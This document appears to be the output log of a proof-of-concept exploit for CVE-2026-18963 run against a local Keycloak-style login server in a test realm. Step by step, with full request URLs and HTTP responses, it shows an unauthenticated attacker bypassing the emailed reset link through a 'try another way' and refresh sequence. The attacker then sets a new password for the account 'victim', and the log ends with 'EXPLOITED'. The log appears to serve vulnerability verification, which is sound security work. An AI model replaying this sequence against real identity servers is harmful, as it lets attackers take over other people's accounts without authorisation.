### CVE-2026-18963 attempt role=vuln num=2
step1 forgot-password URL: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?client_id=account&tab_id=xUo6m-SUZbk&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step2 choose-user form action: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?session_code=g_CZap4S0jRIdl139d9tVFlItkV4sIw7w-82lDLbADY&execution=a469d656-017a-428a-9b5b-cee0a2f88064&client_id=account&tab_id=xUo6m-SUZbk&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step3 tryAnotherWay -> selector screen markers: 1
step3 selector form action: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?session_code=oDO5w41KHJOxE7PebvAcnWewfmywtZ3S4U_ElmCasJ4&execution=a469d656-017a-428a-9b5b-cee0a2f88064&client_id=account&tab_id=xUo6m-SUZbk&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step4 username=victim -> email-sent page markers: 1
step4 smtp action-token links captured: before=2 after=4
step4 NOTE: the action-token link went to victim@cvetest.local only; the attacker never sees it
step5 GET refresh -> selector markers=1 email-sent markers=0
step5 VULN-BEHAVIOR: selector re-rendered; form action now targets: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?session_code=c4pC5xqVjptOktA_xGJA6odNrRzJ8FnQ6cNFu0M8Ev0&execution=890e68e8-971e-4553-be01-f95cd4c317ea&client_id=account&tab_id=xUo6m-SUZbk&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step6 POST email execution (no action token) -> HTTP/1.1 302 Found Location: http://localhost:8080/realms/cvetest/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=xUo6m-SUZbk&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step6b password-update form fields: 7
step6b password form action: http://localhost:8080/realms/cvetest/login-actions/required-action?session_code=NcfyFtOT7Md8RvcXnI4XApbOPq_pJhhyd1HQqG0DmpU&execution=UPDATE_PASSWORD&client_id=account&tab_id=xUo6m-SUZbk&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step7 new password -> HTTP/1.1 302 Found Location: http://localhost:8080/realms/cvetest/account/?session_state=wfFpWi01BoZoXJSueCjs9FCO&iss=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Fcvetest&code=8e37f1c1-deaf-2708-9d7e-a356dd194e97.wfFpWi01BoZoXJSueCjs9FCO.0e71ebde-ebd9-4c38-ad67-90604d5a470d
step7: attacker session established as 'victim' (auth code issued)
step8 takeover verify: NEW password token HTTP 200 (want 200), OLD password token HTTP 400 (want !=200)
RESULT: EXPLOITED - victim account password replaced without the email link (unauthenticated ATO)